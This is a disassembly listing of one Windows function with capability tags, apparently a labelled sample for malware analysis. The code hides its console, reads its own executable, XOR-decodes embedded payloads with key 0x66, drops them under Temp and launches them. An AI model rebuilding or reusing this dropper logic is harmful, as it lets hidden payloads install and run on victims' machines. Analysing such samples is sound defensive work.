Function at 0x140001e78
Capabilities:
Create process on windows
Encode data using xor
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x598]
sub rsp, 0x670
mov rax, qword [0x140036060]
xor rax, rsp
mov qword [rbp + 0x560], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp - 8], 0x2000
xor r13d, r13d
mov qword [rbp + 0x10], r13
lea edi, [r13 + 0xf]
mov qword [rbp + 0x18], rdi
mov byte [rbp], r13b
xor r8d, r8d
lea rdx, [0x1400314fb]
lea rcx, [rbp]
call fcn.140003f44
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x240]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov r9d, 0xffff
lea r8, str.Local_AppData
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerUser_Shell_FoldersBackup
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea rbx, [rbp + 0x240]
lea r15d, [r13 + 1]
mov dl, byte [rbx]
test dl, dl
je 0x140001f51
lea rcx, [rbp]
call fcn.140003e14
add rbx, r15
lea rax, [rbp + 0x344]
cmp rbx, rax
jne 0x140001f33
mov r8d, 6
lea rdx, str.Temp_
lea rcx, [rbp]
call fcn.140004044
mov r8d, 0x104
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x130]
call fcn.140008650
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x28], r13b
lea rcx, [rbp + 0x350]
or r14, 0xffffffffffffffff
mov rax, r14
inc rax
cmp word [rcx + rax*2], r13w
jne 0x140001faa
cmp rax, 0x10
jb 0x140002021
movabs rbx, 0x7fffffffffffffff
cmp rax, rbx
ja 0x140002962
or rax, rdi
cmp rax, rbx
ja 0x140001fe4
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, r15
cmovb rcx, r14
cmp rcx, 0x1000
jb 0x140002001
call fcn.140004d40
mov rcx, rax
jmp 0x140002010
test rcx, rcx
je 0x14000200d
call fcn.14000606c
jmp 0x140001ffc
mov rcx, r13
mov qword [rbp - 0x10], rbx
mov al, byte [rbp - 0x28]
mov byte [rcx], al
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], r13
mov edi, r13d
lea rcx, [rbp + 0x350]
mov rax, r14
inc rax
cmp word [rcx + rax*2], r13w
jne 0x14000202e
test rax, rax
je 0x140002072
lea rbx, [rbp + 0x350]
mov dl, byte [rbx]
lea rcx, [rbp - 0x28]
call fcn.140003e14
add edi, r15d
lea rbx, [rbx + 2]
lea rax, [rbp + 0x350]
mov rcx, r14
inc rcx
cmp word [rax + rcx*2], r13w
jne 0x140002060
movsxd rax, edi
cmp rax, rcx
jb 0x140002044
lea rbx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rbx, qword [rbp - 0x28]
lea rax, [0x140000000]
lea rax, [rax + 0x31638]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x1e8], r13
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x1dc], 0x98
mov qword [rbp + 0x138], r13
xor r8d, r8d
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1e0]
call fcn.1400043a4
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xb0]
mov dword [rbp + rcx + 0x12c], r8d
lea rcx, [rbp + 0x140]
call fcn.140004318
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x140], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x140]
call fcn.140003d20
mov r8d, 0x21
mov rdx, rbx
lea rcx, [rbp + 0x140]
call fcn.14000427c
test rax, rax
jne 0x14000218b
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001bc0
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x12c], edx
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400021cc
inc rdx
mov rcx, qword [rbp - 0x28]
call fcn.140004c58
mov qword [rsp + 0x50], r13
mov word [rsp + 0x58], r15w
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x178]
mov qword [rsp + 0x70], rax
test rax, rax
sete byte [rsp + 0x78]
mov byte [rsp + 0x79], r13b
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov rsi, r13
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x18], r13
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x70], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x50], xmm1
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140004ea4
mov rdi, qword [rbp - 0x20]
test al, al
jne 0x14000231c
mov rbx, qword [rsp + 0x50]
cmp byte [rsp + 0x58], r13b
jne 0x140002285
test rbx, rbx
je 0x14000227d
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002269
mov rax, qword [rbx + 0x50]
cmp dword [rax], r13d
jle 0x140002269
movzx eax, byte [rcx]
jmp 0x140002272
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x30]
cmp eax, r14d
je 0x14000227d
mov byte [rsp + 0x59], al
jmp 0x140002289
mov rbx, r13
mov qword [rsp + 0x50], rbx
mov al, byte [rsp + 0x59]
mov byte [rsp + 0x40], al
cmp rdi, rsi
je 0x14000229d
mov byte [rdi], al
add rdi, r15
mov qword [rbp - 0x20], rdi
jmp 0x1400022b6
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140004d7c
mov rsi, qword [rbp - 0x18]
mov rdi, qword [rbp - 0x20]
test rbx, rbx
je 0x1400022f8
mov rax, qword [rbx + 0x38]
cmp qword [rax], r13
je 0x1400022e3
mov rax, qword [rbx + 0x50]
cmp dword [rax], r13d
jle 0x1400022e3
add dword [rax], r14d
mov rcx, qword [rbx + 0x38]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
movzx eax, byte [rdx]
jmp 0x1400022ec
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, r14d
je 0x1400022f8
mov byte [rsp + 0x58], r13b
jmp 0x140002302
mov qword [rsp + 0x50], r13
mov byte [rsp + 0x58], r15b
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140004ea4
test al, al
je 0x14000223e
mov qword [rbp - 0x50], rsi
mov r9d, r13d
mov dword [rsp + 0x60], r13d
lea rbx, vtable.std::ios_base.0
mov r14, qword [rbp - 0x28]
cmp qword [rbp + 0x1c0], r13
je 0x1400028e5
mov edx, r13d
sub rdi, r14
je 0x140002369
mov r8, r14
mov ecx, dword [rbp - 8]
cmp byte [r8], 0x2a
jne 0x14000273d
add ecx, r15d
cmp ecx, 5
jne 0x140002740
lea r9d, [rdx + 1]
mov dword [rsp + 0x60], r9d
mov r12d, r15d
mov r15d, r13d
mov esi, r13d
mov ecx, r9d
mov dword [rsp + 0x64], ecx
movsxd r13, r9d
cmp r13, rdi
jae 0x140002778
lea rax, [r13 + 1]
mov qword [rsp + 0x50], rax
inc r15d
cmp byte [rax + r14 - 1], 0x2a
jne 0x140002757
inc esi
cmp esi, 5
jne 0x140002759
call fcn.140004550
mov edx, r12d
lea rcx, [rbp - 0x48]
call fcn.140001dac
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rsp + 0x70]
call fcn.140004790
mov rdx, rax
mov r8, rbx
lea rcx, [rbp - 0x70]
call fcn.140004884
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140004740
cmp qword [rax + 0x18], 0x10
jb 0x1400023ef
mov rax, qword [rax]
mov rcx, rax
call fcn.14000cc30
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000240d
inc rdx
mov rcx, qword [rbp - 0x28]
call fcn.140004c58
xor esi, esi
mov qword [rbp - 0x18], rsi
lea ebx, [rsi + 0xf]
mov qword [rbp - 0x10], rbx
mov byte [rbp - 0x28], sil
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002434
inc rdx
mov rcx, qword [rbp - 0x70]
call fcn.140004c58
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140002457
inc rdx
mov rcx, qword [rsp + 0x70]
call fcn.140004c58
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
mov byte [rsp + 0x70], sil
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14000247a
inc rdx
mov rcx, qword [rbp - 0x48]
call fcn.140004c58
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call fcn.140008650
mov edx, r12d
lea rcx, [rbp - 0x48]
call fcn.140001dac
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rsp + 0x70]
call fcn.140004790
mov rdx, rax
mov r8, rbx
lea rcx, [rbp - 0x70]
call fcn.140004884
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140004740
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400024d0
mov rbx, qword [rax]
lea rax, [0x140000000]
lea rax, [rax + 0x31630]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xf8], rsi
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xc4], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xc8]
call fcn.1400043a4
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], r8d
lea rcx, [rbp + 0x28]
call fcn.140004318
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x28], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.140003d20
mov r8d, 0x22
mov rdx, rbx
lea rcx, [rbp + 0x28]
call fcn.14000427c
test rax, rax
jne 0x1400025b0
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001bc0
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], edx
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400025ec
inc rdx
mov rcx, qword [rbp - 0x28]
call fcn.140004c58
mov qword [rbp - 0x18], rsi
mov ebx, 0xf
mov qword [rbp - 0x10], rbx
mov byte [rbp - 0x28], sil
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002613
inc rdx
mov rcx, qword [rbp - 0x70]
call fcn.140004c58
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140002636
inc rdx
mov rcx, qword [rsp + 0x70]
call fcn.140004c58
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
mov byte [rsp + 0x70], sil
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140002659
inc rdx
mov rcx, qword [rbp - 0x48]
call fcn.140004c58
lea eax, [r15 - 5]
movsxd r8, eax
test eax, eax
jle 0x140002677
lea rax, [r14 + r13]
mov rcx, r8
xor byte [rax], 0x66
inc rax
sub rcx, 1
jne 0x14000266b
movsxd rdx, dword [rsp + 0x60]
add rdx, r14
lea rcx, [rbp + 0x20]
call fcn.1400029e8
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x60], eax
mov r13, qword [rsp + 0x50]
inc r12d
mov r15d, esi
cmp qword [rbp + 0xa8], rsi
je 0x1400026cb
lea rcx, [rbp + 0x28]
call fcn.140003c58
neg al
sbb rbx, rbx
lea rax, [rbp + 0x28]
and rbx, rax
mov rcx, qword [rbp + 0xa8]
call fcn.14000c980
test eax, eax
je 0x1400026cd
xor ebx, ebx
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp + 0x28]
call fcn.140003d20
test rbx, rbx
jne 0x14000270a
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001bc0
lea rcx, [rbp + 0xc8]
call fcn.140002968
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0xc8]
call fcn.140005750
nop
mov rax, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x64]
jmp 0x140002759
mov ecx, r13d
add edx, r15d
add r8, r15
movsxd rax, edx
cmp rax, rdi
jae 0x140002369
jmp 0x14000234a
xor esi, esi
inc ecx
mov dword [rsp + 0x64], ecx
inc rax
mov qword [rsp + 0x50], rax
movsxd rax, ecx
cmp rax, rdi
mov rax, qword [rsp + 0x50]
jb 0x14000238e
mov edi, 1
cmp r12d, edi
jle 0x1400028d3
xor r13d, r13d
or r15, 0xffffffffffffffff
mov edx, edi
lea rcx, [rbp - 0x48]
call fcn.140001dac
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rsp + 0x70]
call fcn.140004790
mov rdx, rax
mov r8, rbx
lea rcx, [rbp - 0x70]
call fcn.140004884
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140004740
mov rbx, rax
lea rsi, [rax + 0x10]
mov rcx, qword [rsi]
inc rcx
mov eax, 2
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400060a8
mov r10, rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400027f5
mov rax, qword [rbx]
mov r8, qword [rsi]
lea rcx, [rax + r8]
jb 0x140002801
mov rbx, qword [rbx]
mov rdx, r10
cmp rbx, rcx
je 0x14000281e
movsx eax, byte [rbx]
mov word [rdx], ax
lea rdx, [rdx + 2]
inc rbx
cmp rbx, rcx
jne 0x140002809
mov r8, qword [rsi]
mov word [r10 + r8*2], r13w
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, r10
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000285b
inc rdx
mov rcx, qword [rbp - 0x28]
call fcn.140004c58
mov qword [rbp - 0x18], r13
mov ebx, 0xf
mov qword [rbp - 0x10], rbx
mov byte [rbp - 0x28], r13b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002882
inc rdx
mov rcx, qword [rbp - 0x70]
call fcn.140004c58
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], rbx
mov byte [rbp - 0x70], r13b
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400028a5
inc rdx
mov rcx, qword [rsp + 0x70]
call fcn.140004c58
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], rbx
mov byte [rsp + 0x70], r13b
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400028c8
inc rdx
mov rcx, qword [rbp - 0x48]
call fcn.140004c58
inc edi
cmp edi, r12d
jl 0x14000278d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, vtable.std::ios_base.0
test r14, r14
je 0x1400028f9
mov rdx, qword [rbp - 0x50]
sub rdx, r14
mov rcx, r14
call fcn.140004c58
lea rcx, [rbp + 0x1e0]
call fcn.1400036ec
nop
mov qword [rbp + 0x1e0], rbx
lea rcx, [rbp + 0x1e0]
call fcn.140005750
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140002930
inc rdx
mov rcx, qword [rbp]
call fcn.140004c58
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140006040
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001268
int3